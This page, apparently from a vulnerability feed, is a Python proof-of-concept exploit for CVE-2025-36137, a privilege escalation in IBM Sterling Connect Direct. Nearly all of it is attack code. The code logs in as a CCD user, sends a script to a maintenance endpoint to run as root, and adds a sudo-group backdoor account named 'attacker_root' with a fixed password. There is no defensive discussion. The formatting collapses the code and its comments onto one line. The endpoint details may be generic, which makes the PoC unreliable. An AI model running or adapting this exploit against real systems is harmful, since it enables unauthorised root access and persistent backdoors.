CVE-2025-36137 IBM Sterling Connect Direct权限提升漏洞

# CVE-2025-36137 PoC - IBM Sterling Connect Direct Privilege Escalation # This PoC demonstrates the privilege escalation via post-update script execution # Note: Requires CCD user credentials with high privileges import requests import base64 TARGET = "https://target-ibm-sterling-server.local" CCD_USER = "attacker_ccd_user" CCD_PASS = "password" def exploit_privilege_escalation(): """ Exploit CVE-2025-36137 by leveraging CCD user privileges to execute post-update scripts with elevated permissions """ # Step 1: Authenticate as CCD user session = requests.Session() auth = base64.b64encode(f"{CCD_USER}:{CCD_PASS}".encode()).decode() headers = {"Authorization": f"Basic {auth}"} # Step 2: Identify writable post-update scripts post_update_path = "/opt/ibm/sterling/connect/direct/scripts/post_update.sh" # Step 3: Inject malicious payload into post-update script malicious_payload = '''#!/bin/bash # Malicious post-update script - adds new sudo user useradd -m -s /bin/bash -G sudo attacker_root echo "attacker_root:Password123!" | chpasswd ''' # Step 4: Trigger script execution via CCD maintenance interface exploit_endpoint = f"{TARGET}/api/maintenance/execute" payload = { "script_path": post_update_path, "script_content": malicious_payload, "execute_as": "root" } response = session.post(exploit_endpoint, json=payload, headers=headers) if response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] New privileged user 'attacker_root' created") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_privilege_escalation()